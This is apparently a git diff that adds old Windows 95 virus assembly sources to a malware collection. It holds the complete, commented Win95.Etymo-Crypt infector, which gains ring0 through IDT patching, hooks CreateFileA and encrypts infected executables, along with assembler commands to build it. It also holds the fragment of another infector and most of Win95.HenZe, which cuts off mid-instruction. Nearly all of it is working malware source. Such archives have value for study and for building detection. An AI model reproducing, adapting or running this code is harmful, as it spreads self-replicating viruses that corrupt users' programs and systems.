00 00 00 40 00 D7 2B 01 00  @ ?+ +;81621F48 30 23 62 81 5C 1F 62 81 18 00 6C 1F 62 81 08 00 0#b\b lb +;81621F58 20 00 00 A0 43 3A 5C 57 49 4E 50 52 4F 47 5C 41 C:\WINPROG\A +;81621F68 5A 50 52 5C 41 5A 50 52 2E 45 58 45 00 CC CC CC ZPR\AZPR.EXE ??? +;81621F78 B4 03 00 A0 4E 45 01 00 00 00 00 00 00 00 8C 03 ΄ NE Œ + +; .... + + +.586P +PMMX ; WORF... ... JEJEJE +.MODEL FLAT +LOCALS + +EXTRN ExitProcess:PROC +MIX_SIZ EQU (FILE_END - MEGAMIX) + +MACROSIZE MACRO + DB MIX_SIZ/00100 mod 10 + "0" + DB MIX_SIZ/00010 mod 10 + "0" + DB MIX_SIZ/00001 mod 10 + "0" + ENDM +.DATA + + DB 0 + + DB 'SIZE = ' + MACROSIZE + +.CODE + + +MEGAMIX: + ; EAX: EIP + ; ESI: BUFFER + + +VINT21: + DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE + DB 'H' ; HenKy ;P + XCHG EDI, EAX ; EDI: DELTA + MOV EDX,ESI ; EDX=ESI: CACHE BUFFER (ESPORE BUG) + MOV ESI,0C1000000H ; ESI: MY DATA BUFFER + MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H + + ;EDX: POINTER TO FNAME + + ;LEA EDX,POPOPOP ; FOR DEBUG ONLY + ;JMP KAA + + MOV ECX,28000 ; LIMIT + PUSHAD + +AMIMELASUDA: + + POPAD +PORK: + INC EDX + CMP WORD PTR [EDX],':C' + JE KAA + LOOP PORK + + +WARNING: + PUSH 00401000H ; ANOTHER ESPORE BUG CORRECTED :) + RET + +KAA: + PUSHAD + MOV AX, 3D02h ; open + CALL [EDI] + JC AMIMELASUDA + XCHG EBX, EAX + MOV EDX,ESI + XOR ECX,ECX + MOV CH,4H + MOV AH, 3Fh ;read + CALL [EDI] + MOV EAX, [EDX+3Ch] + ADD EAX,EDX + MOV EDI,EAX + PUSH 32 + POP ECX + + DEPOTA: + INC EDI + CMP BYTE PTR [EDI],'B'; HEHEHEHE + JE GOSTRO + JMP DEPOTA + GOSTRO: + INC EDI + PUSH EDI + MOV ESI,EBP + REP MOVSD + MOV ESI,EDI + POP EDI + SUB EDI,EDX + XCHG DWORD PTR [EAX+28H],EDI + CMP DI,1024 + JB CLOZ + ADD EDI,[EAX+34H] + XCHG DWORD PTR [ESI-MONGORE],EDI + + PUSH EBP + POP EDI + XOR EAX,EAX + PUSHAD + MOV AH, 42h + CDQ + CALL [EDI] + POPAD + MOV CH,4H + MOV AH,40H ; write + CALL [EDI] +CLOZ: + MOV AH,3EH ; close + CALL [EDI] + JMP AMIMELASUDA + +FILE_END: + + DW 0 ;-P + +MONGORE EQU 95 ; OLD_EIP + + PUSH 0 + CALL ExitProcess + +;POPOPOP DB "H:\PRUEBAS\TEST.ZZZ",0 + +END MEGAMIX + diff --git a/LegacyWindows/Win95.Etymo-Crypt.asm b/LegacyWindows/Win95.Etymo-Crypt.asm new file mode 100644 index 00000000..459e526d --- /dev/null +++ b/LegacyWindows/Win95.Etymo-Crypt.asm @@ -0,0 +1,709 @@ +; ************************************************************************* +; ******************** ******************** +; ******************** Win95.Etymo-Crypt ******************** +; ******************** by ******************** +; ******************** BLACK JACK ******************** +; ******************** ******************** +; ************************************************************************* + +comment ~ + +NAME: Win95.Etymo-Crypt +AUTHOR: Black Jack [independant Austrian Win32asm virus coder] +CONTACT: Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack +TYPE: Win9x global ring3 resident parasitic PE infector +SIZE: 1308 bytes + +DESCRIPTION: When an infected file is run, the virus gets control. It gains + ring0 by the standart IDT modifying trick. But it doesn't stay + resident in ring0 (hooking VxD calls), but it just uses its + ring0 privilege to write to the write-protected kernel32 memory: + it copies itself into a gap in kernel32 in memory (between + the header and the start of the first section, like nigr0's + Win95.K32 virus) and hooks the CreateFileA API. + Whenever the virus intercepts a file open now, it checks if + the opened file is an infectable, uninfected PE EXE and infects + it if all is ok. The infection process is a bit unusual: The + virus creates a new section called ".vdata" (with standart data + section attributes) and saves there the code from the entrypoint, + after it has been encrypted against the virusbody. Then the + entrypoint is overwritten with virus code, most of it encrypted + again. The attributes of the code section are not modified, the + virus doesn't need the write attribute set, because it only + modifies its data when it is in ring0. The pro of this infection + method is that there are no sections with unusual attributes. + +KNOWN BUGS: Since the virus needs to be resident to restore control to the + host, there is no need for checking the OS or preventing errors + with SEH, because infected files will crash under WinNT anyways, + there's no way to prevent that. + Because of that unbound import stuff, the virus only catches + very few file opens. In a kernel32.dll infector this would be + easy to prevent by changing the timedate stamp of kernel32.dll. + In this case this doesn't work, because the system checks this + stamp after the kernel32 has been loaded into memory and will + give error messages if it has been changed each times the user + tries to start a program. Another possible solution, patching + the entry point of the hooked API with the JMP_virus instruction, + like nigr0 and Bumblebee do, won't work too, because with my + residency method the kernel memory stays write protected. And so + this virus is a slow infector, but it still catches enough file + opens to replicate successfully. + +ASSEMBLE WITH: + tasm32 /mx /m etymo.asm + tlink32 /Tpe /aa etymo.obj,,, import32.lib + + there's no need for PEWRSEC or a similar tool, because the + virus code is supposed to run in a read-only section anyways. + +DISCLAIMER: I do *NOT* support the spreading of viruses in the wild. + Therefore, this source was only written for research and + education. Please do not spread it. The author can't be hold + responsible for what you decide to do with this source. + +PS: Greetings go to Gilgalad for the name of this virus! + +~ +; =========================================================================== + + +virussize EQU (virus_end - virus_start) +workspace EQU 10000 + + +Extrn MessageBoxA:Proc ; only for 1st gen +Extrn ExitProcess:Proc + +386p +model flat + +; First generation code is in the data section: + +data +start: + push 0 ; show stupid messagebox + push offset caption + push offset message + push 0 + call MessageBoxA + + JMP virus_start + +quit_1st_gen: + ; quit program + push 0 ; exit code + push 0 ; ret address of call + push offset ExitProcess ; can't do a real call, + RET ; because this code is moved + +caption db "Black Jack strikes again...", 0 +message db "Press OK to run the Win95.Etymo-Crypt virus", 0 + +skip_decryption_1st_gen: + mov esi, offset new_bytes ; skip the decryption in the + mov edi, offset jmp_skip_decryption_1st_gen ; first generation + movsb + movsd + JMP over_encryption + +new_bytes: + mov ecx, ((virus_end - encrypted)/4) + + +; Virus body is in the code section: + +code +virus_start: + +; We have to access the section with the original host code from ring3 first, +; because if we access it first from ring0, it is not mapped yet and the +; virus will cause an exception. besides, the first dword of the encrypted +; host code is also the key for the virus decryption. + + db 0A1h ; mov eax, [imm32] +org_host_code_VA dd offset quit_1st_gen + + call next ; go to ring0 calling routine + +; ----- FIRST PART OF RING0 CODE -------------------------------------------- +r0proc: + pop ebp ; offset of end_next label + sub ebp, (end_next - virus_start) ; EBP=delta offset + push ebp ; is also true offset of + ; virus start in memory, + ; where we will return to + + mov dword ptr [edx+5*8], esi ; restore interrupt + mov dword ptr [edx+5*8+4], edi ; descriptor + + + lea edi, [ebp+virus_end-virus_start] ; EDI=end of virus in memory + +jmp_skip_decryption_1st_gen: + JMP skip_decryption_1st_gen ; skip decryption in first + ; generation. will be + ; replaced with: + ; mov ecx, ((virus_end - encrypted)/4) + + +decrypt_virus_body: + dec edi ; go to previous dword + dec edi + dec edi + dec edi + + xor dword ptr [edi], eax ; decrypt one dword + mov eax, dword ptr [edi] ; decrypted dword is new key + LOOP decrypt_virus_body ; loop until all is decrypted + + JMP encrypted ; jump to code that was just + ; decrypted. + +; ----- JUMP TO RING0 ------------------------------------------------------- +next: + push edx ; reserve room on stack + sidt [esp-2] ; get IDT address + pop edx ; EDX=IDT address + + mov esi, dword ptr [edx+5*8] ; save old interrupt + mov edi, dword ptr [edx+5*8+4] ; descriptor to EDI:ESI + + pop ebx ; get address of ring0 proc + + mov word ptr [edx+5*8], bx ; write offset of our ring0 + shr ebx, 16 ; procedure into interrupt + mov word ptr [edx+5*8+6], bx ; descriptor + + int 5 ; call our ring0 code! +end_next: + ; no IRET to here. + +; ----- MAIN ENCRYPTED RING0 CODE ------------------------------------------- +encrypted: + +; now we decrypt the original start code of the host, which has been +; encrypted against the virus body. + + mov esi, ebp ; ESI=start of virus body + mov edi, [ebp + (org_host_code_VA-virus_start)] ; start of host code + xor ecx, ecx ; ECX=0 + +decrypt_loop: + lodsb + sub byte ptr [edi+ecx], al + inc ecx + + lodsb + xor byte ptr [edi+ecx], al + inc ecx + + lodsb + add byte ptr [edi+ecx], al + inc ecx + + lodsb + xor byte ptr [edi+ecx], al + inc ecx + + cmp ecx, virussize ; all decrypted? + JB decrypt_loop ; loop until all is done + +over_encryption: + +; the kernel32 address is hardcoded, because this is virus is only Win95 +; compatible anyways + + mov eax, 0BFF70000h ; EAX=kernel32 offset + mov ebx, eax ; EBX=EAX + add ebx, [eax+3Ch] ; EBX=PE header VA + + mov edi, [ebx+54h] ; header size + add edi, eax ; EDI=virus VA + cmp byte ptr [edi], 0A1h ; "mov eax, imm32" opcode is + JE already_resident ; residency marker + push edi ; save virus VA in kernel32 + +; ----- SEARCH API ADDRESSES ------------------------------------------------ + mov edx, [ebx+78h] ; EDX=export directory RVA + add edx, eax ; EDX=export directory VA + lea esi, [ebp + (names_RVA_table - virus_start)] ; array with ptrs + ; to API names + lea edi, [ebp + (API_RVAs - virus_start)] ; where to store the + ; API adresses + +find_API: + xor ecx, ecx ; ECX=0 (API names counter) + +search_loop: + pusha ; save all registers + push eax ; save EAX (kernel32 offset) + lodsd ; get offset of API name + or eax, eax ; all done? + JZ all_found + add eax, ebp ; fixup with delta offset + xchg eax, esi ; ESI=VA of a needed API name + pop eax ; restore EAX (kernel32 offs) + mov edi, [edx+20h] ; EDI=AddressOfNames RVA + add edi, eax ; EDI=AddressOfNames VA + mov edi, [edi+ecx*4] ; EDI=RVA of API Name + add edi, eax ; EDI=VA of API Name + +cmp_loop: + lodsb ; get char from our API name + scasb ; equal to the one in k32 ? + JNE search_on_API ; if not,try next exported API + or al, al ; end of name? + JZ found_API ; we've found an needed API! + JMP cmp_loop ; go on with name compare + +search_on_API: + popa ; restore all registers + inc ecx ; try next API in exports + JMP search_loop ; go on + +found_API: + popa ; restore all registers + shl ecx, 1 ; ECX=ECX*2 (index ordinals) + add ecx, [edx+24h] ; AddressOfOrdinals RVA + movzx ecx, word ptr [ecx+eax] ; ECX=API Ordinal + shl ecx, 2 ; ECX=ECX*4 + add ecx, [edx+1Ch] ; AddressOfFunctions RVA + add ecx, eax ; ECX=VA of API RVA + mov dword ptr [ebp+(hook_API-virus_start)], ecx ; save it + mov ecx, [ecx] ; ECX=API RVA + push eax ; save EAX (kernel32 base) + add eax, ecx ; EAX=API VA! + stosd ; store it! + lodsd ; do the next API (add esi,4) + pop eax ; restore EAX (kernel32 base) + JMP find_API ; do next API. + +all_found: + pop eax ; remove EAX from stack + popa ; restore all registers + + ; last found API is hooked + mov ecx, [ebp+(hook_API-virus_start)] ; ECX=VA of API RVA + mov edx, [ebx+54h] ; kernel32 header size + ; (virus RVA in kernel32) + add edx, (hook - virus_start) ; RVA virus hook in kernel32 + mov [ecx], edx ; hook API! + + + pop edi ; restore EDI:virus VA in k32 + mov esi, ebp ; ESI=start of virus in mem + mov ecx, virussize ; ECX=virussize + cld ; clear directory flag + rep movsb ; move virus to TSR location! + sub edi, (virus_end - go_on_r0) ; EDI=offset go_on_r0 in k32 + JMP restore_host ; restore host + +already_resident: + add edi, (go_on_r0 - virus_start) ; EDI=offset go_on_r0 in k32 + +restore_host: + mov esi, [ebp + (org_host_code_VA - virus_start)] ; ESI=offset + ; of original host code + JMP edi ; go to go_on_r0 in kernel32 + + +go_on_r0: + mov edi, ebp ; EDI=virus/host entrypoint + mov ecx, virussize ; ECX=virussize + cld ; clear directory flag + rep movsb ; move host code back! + iretd ; go to original entry point + ; in ring3! + +; ----- TSR VIRUS HOOK OF CreateFileA --------------------------------------- +hook: + push eax ; reserve room on stack for + ; return address + pushf ; save flags + pusha ; save all registers + + call TSR_next ; get delta offset +TSR_next: + pop ebp + sub ebp, offset TSR_next + + mov eax, [ebp+offset CreateFileA] ; address of original routine + mov [esp+9*4], eax ; set return address + mov esi, [esp+11*4] ; get address of filename + + push esi ; save it +search_ext: + lodsb ; get a byte from filename + or al, al ; end of filename? + JNZ search_ext ; search on + mov eax, [esi-4] ; get extension in AX + pop esi ; restore filename ptr in ESI + or eax, 00202020h ; make lowercase + cmp eax, "exe" ; is it an EXE file? + JNE exit_hook ; if not, then exit + + push esi ; offset filename + call [ebp+offset GetFileAttributesA] ; get file attribtes + inc eax ; -1 means error + JZ exit_hook + dec eax + + push eax ; save attributes and + push esi ; filename ptr so we can + ; restore the attribs later + + push 80h ; normal attributes + push esi + call [ebp+offset SetFileAttributesA] ; reset file attributes + or eax, eax ; 0 means error + JZ reset_attributes + + push 0 ; template file (shit) + push 80h ; file attributes (normal) + push 3 ; open existing + push 0 ; security attributes (shit) + push 0 ; do not share file + push 0C0000000h ; read/write mode + push esi ; pointer to filename + call [ebp+offset CreateFileA] ; OPEN FILE. + inc eax ; EAX= -1 (Invalid handle) + JZ reset_attributes + dec eax + push eax ; save filehandle + xchg edi, eax ; EDI=filehandle + + sub esp, 3*8 ; reserve space on stack + ; to store the filetimes + + mov ebx, esp ; get the filetimes to the + push ebx ; reserved place on stack + add ebx, 8 + push ebx + add ebx, 8 + push ebx + push edi ; filehandle + call [ebp+offset GetFileTime] ; get the filetimes + or eax, eax ; error? + JZ closefile + + push 0 ; high file_size dword ptr + push edi + call [ebp+offset GetFileSize] ; get the filesize to EAX + inc eax ; -1 means error + JZ closefile + dec eax + + mov ebx, esp ; save addresses of filetimes + push ebx ; for the API call to restore + add ebx, 8 ; them later + push ebx + add ebx, 8 + push ebx + push edi + + push edi ; filehandle for SetEndofFile + + ; for the SetFilePointer at + ; the end to truncate file + push 0 ; move relative to filestart + push 0 ; high word of file pointer + push eax ; filesize + push edi ; filehandle + + add eax, workspace + push 0 ; name file mapping obj (shit) + push eax ; low dword of file_size + push 0 ; high dword of file_size + push 4 ; PAGE_READWRITE + push 0 ; security attributes (shit) + push edi + call [ebp+offset CreateFileMappingA] + or eax, eax ; error happened? + JZ error_createfilemapping + + push eax ; save maphandle for + ; CloseHandle + + push 0 ; map the whole file + push 0 ; low dword of fileoffset + push 0 ; high dword of fileoffset + push 2 ; read/write access + push eax ; maphandle + call [ebp+offset MapViewOfFile] + or eax, eax + JZ closemaphandle + + push eax ; save mapbase for + ; UnmapViewOfFile + + cmp word ptr [eax], "ZM" ; exe file? + JNE closemap ; if not, then exit + + cmp word ptr [eax+18h], 40h ; new executable header? + JNE closemap ; if not, then exit + + add eax, [eax+3Ch] ; EBX=new header address + cmp dword ptr [eax], "EP" ; PE file? + JNE closemap ; if not, then exit + + test word ptr [eax+16h], 0010000000000000b ; DLL ? + JNZ closemap ; if yes, then exit + + movzx ecx, word ptr [eax+14h] ; SizeOfOptionalHeader + mov ebx, eax ; EBX=offset PE header + add ebx, 18h ; SizeOfNTHeader + add ebx, ecx ; EBX=first section header + push ebx ; save it + +find_code_section: + mov ecx, [eax+28h] ; ECX=EntryRVA + sub ecx, [ebx+0Ch] ; Virtualaddress of section + sub ecx, [ebx+10h] ; SizeOfRawData + JB found_code_section ; we found the code section! + add ebx, 40 ; next section + JMP find_code_section ; search on + +found_code_section: + mov edx, [eax+28h] ; EDX=EntryRVA + sub edx, [ebx+0Ch] ; Virtualaddress + add edx, [ebx+14h] ; AddressOfRawData + ; EDX=RAW ptr to entrypoint + + pop ebx ; EBX=first section header + + cmp ecx, -virussize ; enough room left in the + JG closemap ; section for the virus body? + + mov ecx, [esp] ; ECX=mapbase + add ecx, edx ; ECX=entrypoint in Filemap + + cmp byte ptr [ecx], 0A1h ; already infected ? + JE closemap ; if so, then exit + + push edx ; save RAW entrypoint address + + movzx edx, word ptr [eax+6] ; NumberOfSections + dec edx + imul edx, edx, 40 + add ebx, edx ; EBX=last section header + + inc word ptr [eax+6] ; increase NumberOfSections + + mov dword ptr [ebx+40+00h], "adv." ; name ".vdata" + mov dword ptr [ebx+40+04h], "at" + mov dword ptr [ebx+40+08h], virussize ; Virtualsize + + mov edx, [ebx+0Ch] ; VirtualAddress + add edx, [ebx+08h] ; VirtualSize + mov ecx, [eax+38h] ; SectionAlign + call align_EDX + + mov dword ptr [ebx+40+0Ch], edx ; VirtualAddress + + add edx, virussize ; new ImageSize + call align_EDX ; align to SectionAlign + + mov dword ptr [eax+50h], edx ; store new ImageSize + + mov edx, virussize + mov ecx, [eax+3Ch] ; FileAlign + call align_EDX ; align virsize to FileAlign + + mov dword ptr [ebx+40+10h], edx ; store new SizeOfRawData + + mov edx, [ebx+14h] ; PointerToRawData + add edx, [ebx+10h] ; SizeOfRawData + call align_EDX ; align new section + ; raw offset to FileAlign + + mov dword ptr [ebx+40+14h], edx ; store new PointerToRawData + + add edx, [ebx+40+10h] ; SizeOfRawData + mov dword ptr [esp+4*4], edx ; new filesize + + mov dword ptr [ebx+40+18h], 0 ; Relocation shit + mov dword ptr [ebx+40+1Ch], 0 + mov dword ptr [ebx+40+20h], 0 + mov dword ptr [ebx+40+24h], 0C0000040h ; flags: [IWR], this is the + ; standart for data sections + + mov edx, dword ptr [ebx+40+0Ch] ; RVA host code + add edx, [eax+34h] ; add ImageBase to get VA + + pop esi ; ESI=RAW entrypoint address + pop eax ; EAX=mapbase + push eax ; we still need it on stack + add esi, eax ; ESI=entrypoint in FileMap + push esi ; save it on stack + mov edi, dword ptr [ebx+40+14h] ; PointerToRawData + add edi, eax ; start of new section in map + mov ecx, virussize ; bytes to move + push ecx ; save virussize on stack + cld + mov eax, edi ; EAX=new section in FileMap + rep movsb ; of entry point code to + ; newly created section + + pop ecx ; ECX=virussize + pop edi ; EDI=entrypoint in Filemap + lea esi, [ebp + offset virus_start] ; ESI=virusstart in memory + rep movsb ; move virus body to + ; original Entrypoint of File + + mov [edi - (virus_end-org_host_code_VA)], edx ; store RVA of + ; original host start code + + push edi ; Save end of virus body + ; in Filemap + + mov esi, edi ; ESI=virus end in Filemap + sub esi, virussize ; ESI=virus start in Filemap + xchg edi, eax ; EDI=start of new section + +; Encrypt the code from the original entry point against the virus body. + +encrypt_loop: + lodsb + add byte ptr [edi+ecx], al + inc ecx + + lodsb + xor byte ptr [edi+ecx], al + inc ecx + + lodsb + sub byte ptr [edi+ecx], al + inc ecx + + lodsb + xor byte ptr [edi+ecx], al + inc ecx + + cmp ecx, virussize ; all encrypted? + JB encrypt_loop ; if not, then crypt on + + +; and now the main part of the virus body is encrypted itself. It is crypted +; from the end of the virus body upwards, for each dword is the next dword +; used as crypt key. The first key is the first dword of the encrypted +; host code. + + mov ecx, ((virus_end - encrypted)/4) ; size to crypt in dwords + mov eax, dword ptr [edi] ; initial key + pop edi ; end of virus in filemap + +encrypt_virus_body: + dec edi ; go to previous dword + dec edi + dec edi + dec edi + + mov ebx, dword ptr [edi] ; this dword is the next key + xor dword ptr [edi], eax ; encrypt it with this key + xchg ebx, eax ; change keys + LOOP encrypt_virus_body ; LOOP until encryption done + + +; the parameters for the following API calls have already been pushed on the +; stack while the opening process of the file + +closemap: + call [ebp+offset UnmapViewOfFile] ; unmap file + +closemaphandle: + call [ebp+offset CloseHandle] ; close map handle + +error_createfilemapping: + call [ebp+offset SetFilePointer] ; set file pointer to EOF + + call [ebp+offset SetEndOfFile] ; truncate file here + + call [ebp+offset SetFileTime] ; restore filetimes + +closefile: + add esp, 8*3 ; remove filetimes from stack + + call [ebp+offset CloseHandle] ; close file + +reset_attributes: + call [ebp+offset SetFileAttributesA] ; reset attributes + +exit_hook: + popa ; restore all registers + popf ; restore flags + ret ; go to original API routine + +; ----- ALIGN SUBROUTINE ---------------------------------------------------- +; aligns EDX to ECX +align_EDX: + push eax ; save EAX + push edx ; save EDX + xchg eax, edx ; EAX=value to align + xor edx, edx ; EDX=0 + div ecx ; divide EDX:EAX by ECX + pop eax ; restore old EDX in EAX + or edx, edx ; EDX=mod of division + JZ already_aligned ; already aligned? + add eax, ecx ; if not align + sub eax, edx ; EDX=mod +already_aligned: + xchg eax, edx ; EDX=aligned value + pop eax ; restore EAX + ret + + +db "[Win95.Etymo-Crypt] by Black Jack", 0 +db "This virus was written in Austria in May/June/July 2000", 0 + +names_RVA_table: +dd (n_GetFileAttributesA - virus_start) +dd (n_SetFileAttributesA - virus_start) +dd (n_GetFileTime - virus_start) +dd (n_GetFileSize - virus_start) +dd (n_CreateFileMappingA - virus_start) +dd (n_MapViewOfFile - virus_start) +dd (n_UnmapViewOfFile - virus_start) +dd (n_SetFilePointer - virus_start) +dd (n_SetEndOfFile - virus_start) +dd (n_CloseHandle - virus_start) +dd (n_SetFileTime - virus_start) +dd (n_CreateFileA - virus_start) +dd 0 + +n_GetFileAttributesA db "GetFileAttributesA", 0 +n_SetFileAttributesA db "SetFileAttributesA", 0 +n_GetFileTime db "GetFileTime", 0 +n_GetFileSize db "GetFileSize", 0 +n_CreateFileMappingA db "CreateFileMappingA", 0 +n_MapViewOfFile db "MapViewOfFile", 0 +n_UnmapViewOfFile db "UnmapViewOfFile", 0 +n_SetFilePointer db "SetFilePointer", 0 +n_SetEndOfFile db "SetEndOfFile", 0 +n_CloseHandle db "CloseHandle", 0 +n_SetFileTime db "SetFileTime", 0 +n_CreateFileA db "CreateFileA", 0 + +API_RVAs: +GetFileAttributesA dd ? +SetFileAttributesA dd ? +GetFileTime dd ? +GetFileSize dd ? +CreateFileMappingA dd ? +MapViewOfFile dd ? +UnmapViewOfFile dd ? +SetFilePointer dd ? +SetEndOfFile dd ? +CloseHandle dd ? +SetFileTime dd ? +CreateFileA dd ? + +hook_API dd ? + +if ((($-virus_start) mod 4) NE 0) ; align virussize to dwords + db (4-(($-virus_start) mod 4)) dup(0) +endif + +virus_end: + +end start \ No newline at end of file diff --git a/LegacyWindows/Win95.Henze.asm b/LegacyWindows/Win95.Henze.asm new file mode 100644 index 00000000..67bfafa5 --- /dev/null +++ b/LegacyWindows/Win95.Henze.asm @@ -0,0 +1,523 @@ +;---------------------------- W95 HenZe BY HenKy ----------------------------- +; +;-AUTHOR: HenKy +; +;-MAIL: HenKy_@latinmail.com +; +;-ORIGIN: SPAIN +; + + +.586P +.MODEL FLAT +LOCALS + + +EXTRN ExitProcess:PROC + +KERNEL95 EQU 0BFF70000h +MIX_SIZ EQU FILE_END-MEGAMIX +MIX_MEM EQU MEM_END-MEGAMIX +NABLA EQU DELTA-MEGAMIX +MARKA EQU 66 +FLAGZ EQU 00000020H OR 20000000H OR 80000000H +MAX_PATH EQU 260 + +MACROSIZE MACRO + + DB MIX_SIZ/01000 mod 10 + "0" + DB MIX_SIZ/00100 mod 10 + "0" + DB MIX_SIZ/00010 mod 10 + "0" + DB MIX_SIZ/00001 mod 10 + "0" + + ENDM + + ; LAME W9X PARASITIC RUNTIME PADDINGX OVERWRITER + ; INFECTED FILES WONT GROW, BUT NEED PADDINGX SERIES (USSUALLY AT RELOC SECTION) + + ; MOV + ; CALL + ; JNZ ONLY SIX OPCODES WERE USED.. xDDD + ; ADD / + ; SUB / + ; CMP / + + ; AND NO INDEXING MODE (EASY DISASM CODE) + + ;MOV EAX,[EBP+5] + + ;TURNS INTO: + + ; ADD EBP,5 + ; MOV EAX,[EBP] + + ;AND SO... + + ; *INFINITE* THX TO T00FiC FOR THE REDUCED OPCODE SET IDEA AND + + ; SEVERAL META TIPS + +.DATA + +copyrisgt DB 'HenZe ' + + MACROSIZE +.CODE + + ; BIZARRE VIRUS BEGINS... +MEGAMIX: + + + MOV EAX, 401005H + MILO EQU $-4 +DELTA: + MOV EBP,EAX +WINES: + MOV EAX,KERNEL95 + MOV CL,'M' + CMP BYTE PTR [EAX],CL + JNZ WARNING + MOV EBX,EAX + MOV EDX,02b226A57h ; GPA SIGNATURE FOR W9X + +BUSCA3: + ADD EAX,1 + CMP DWORD PTR [EAX],EDX + JNZ SHORT BUSCA3 + APIZ: + + MOV ECX,OFFSET GPA + ADD ECX,EBP + SUB ECX,OFFSET DELTA + MOV [ECX],EAX + MOV ESI, OFFSET APIs + ADD ESI,EBP + SUB ESI,OFFSET DELTA + MOV EDI,OFFSET APIaddresses + ADD EDI,EBP + SUB EDI,OFFSET DELTA + +GPI: SUB ESP,4 + MOV [ESP],ESI + SUB ESP,4 + MOV [ESP],EBX + MOV ECX,OFFSET GPA + ADD ECX,EBP + SUB ECX,OFFSET DELTA + CALL [ECX] + + MOV [EDI],EAX + ADD EDI,4 + + + NPI: + MOV AL,BYTE PTR [ESI] + ADD ESI,1 + + CMP AL,0 + JNZ SHORT NPI + CMP [ESI], AL + JNZ GPI + + + +INFECT: + + MOV EAX, OFFSET Win32FindData + ADD EAX,EBP + SUB EAX,OFFSET DELTA + SUB ESP,4 + MOV [ESP],EAX + MOV EAX,OFFSET IMASK + ADD EAX,EBP + SUB EAX,OFFSET DELTA + SUB ESP,4 + MOV [ESP],EAX + MOV EAX,OFFSET FindFirstFile + ADD EAX,EBP + SUB EAX,OFFSET DELTA + CALL [EAX] + MOV EBX, OFFSET SearcHandle + ADD EBX,EBP + SUB EBX,OFFSET DELTA + MOV [EBX],EAX + + +LOOPER: + CMP EAX,-1 + JNZ SUPPER + + +WARNING: + + MOV EAX,12345678H + ORG $-4 +OLD_EIP DD 00401000H + ADD ESP,4 + CALL EAX ; SUXXX!!! I DONT WANT TO WASTE JMP HERE + +SUPPER: + + CMP EAX,0 + JNZ ALLKEY +PILLE: + CMP ESP,0 ; ESP NEVER IS ZERO + JNZ WARNING + +ALLKEY: + + SUB ESP,4 + MOV EAX,OFFSET OLD_EIP + ADD EAX,EBP + SUB EAX,OFFSET DELTA + MOV EBX,[EAX] + MOV [ESP],EBX + SUB ESP,4 + MOV [ESP],EDX + SUB ESP,4 + MOV [ESP],00000080h + SUB ESP,4 + MOV [ESP],3 + SUB ESP,4 + MOV [ESP],EDX + SUB ESP,4 + MOV [ESP],EDX + SUB ESP,4 + MOV [ESP],0C0000000h + + MOV EAX ,offset FNAME ; OPEN IT! + ADD EAX,EBP + SUB EAX,OFFSET DELTA + SUB ESP,4 + MOV [ESP],EAX + MOV EAX, OFFSET CreateFile + ADD EAX,EBP + SUB EAX,OFFSET DELTA + CALL [EAX] + + MOV EBX,OFFSET FileHandle + ADD EBX,EBP + SUB EBX, OFFSET DELTA + MOV [EBX],EAX ; SAVE HNDL + MOV EBX,OFFSET WFD_nFileSizeLow + ADD EBX,EBP + SUB EBX, OFFSET DELTA + MOV ECX, [EBX] + + MOV EDX,0 + SUB ESP,4 + MOV [ESP],EDX + SUB ESP,4 + MOV [ESP],ECX + SUB ESP,4 + MOV [ESP],EDX + SUB ESP,4 + MOV [ESP],4H + SUB ESP,4 + MOV [ESP],EDX + + SUB ESP,4 + MOV EBX,OFFSET FileHandle + ADD EBX,EBP + SUB EBX,OFFSET DELTA + MOV ECX,[EBX] + MOV [ESP],ECX + MOV EAX, OFFSET CreateFileMappingA + ADD EAX,EBP + SUB EAX,OFFSET DELTA + CALL [EAX] + + MOV EBX,OFFSET MapHandle + ADD EBX,EBP + SUB EBX, OFFSET DELTA + MOV [EBX],EAX + + MOV EBX,OFFSET WFD_nFileSizeLow + ADD EBX,EBP + SUB EBX, OFFSET DELTA + MOV ECX, [EBX] + + MOV EDX,0 + SUB ESP,4 + MOV [ESP],ECX + SUB ESP,4 + MOV [ESP],EDX + SUB ESP,4 + MOV [ESP],EDX + ADD EDX,2 + SUB ESP,4 + MOV [ESP],EDX + SUB ESP,4 + MOV ECX, OFFSET MapHandle + ADD ECX,EBP + SUB ECX,OFFSET DELTA + MOV EBX,[ECX] + MOV [ESP],EBX + MOV EBX, OFFSET MapViewOfFile + ADD EBX,EBP + SUB EBX,OFFSET DELTA + CALL [EBX] + + MOV EBX,OFFSET MapAddress + ADD EBX,EBP + SUB EBX,OFFSET DELTA + MOV [EBX],EAX + MOV ESI,EAX ; GET PE HDR + MOV EDX,EAX + ADD EAX,3CH + MOV ESI,[EAX] + ADD ESI,EDX + CMP BYTE PTR [ESI],"P" ; IS A 'P'E ? + JNZ Cerrar + ADD ESI,MARKA + CMP BYTE PTR [ESI],"H" ; HenKy IS HERE ? + JNZ Cerrar1 + CMP ESP,0 + JNZ Cerrar + +Cerrar1: + SUB ESI,MARKA + MOV EBX,ESI + ADD EBX,3CH + MOV EAX,[EBX] ; ONLY SOME W98 HAVE 1000H/1000H INSTEAD 1000H/200H + MOV ECX,ESI + ADD ECX,56 + CMP EAX,[ECX] + JNZ Cerrar + + SUB ESP,4 + MOV [ESP],ESI + MOV ECX,0 + MOV EDI,ESI + ADD EDI,6 + MOV CL,BYTE PTR [EDI] + ADD EDI,74H-6 + MOV EBX,[EDI] + ADD EBX,EBX + ADD EBX,EBX + ADD EBX,EBX + ADD ESI,78H + ADD ESI,EBX + ADD ESI,24H + WRI: + MOV DWORD PTR [ESI], 0C0000040h + ADD ESI,40 + SUB ECX,1 + CMP ECX,0 + JNZ WRI + + MOV ESI,[ESP] + ADD ESP,4 + + MOV EDI,ESI + ADD ESI,28H + MOV EAX,[ESI] + ADD ESI,34H-28H + ADD EAX,[ESI] + MOV ECX,[ESI] + MOV EDX,OFFSET BASE + ADD EDX,EBP + SUB EDX,OFFSET DELTA + MOV [EDX],ECX + MOV EBX,OFFSET OLD_EIP + ADD EBX,EBP + SUB EBX,OFFSET DELTA + MOV [EBX],EAX + MOV ESI,EDI + ADD ESI,MARKA + MOV BYTE PTR [ESI],"H" ; HenKy! + MOV EAX,OFFSET WFD_nFileSizeLow + ADD EAX,EBP + SUB EAX,OFFSET DELTA + MOV ECX,[EAX] + MOV EAX,EDI + BU: + CMP DWORD PTR [EDI], 'XGNI' + JNZ PE + CMP ESP,0 + JNZ PO + + PE: + ADD EDI,1 + SUB ECX,1 + CMP 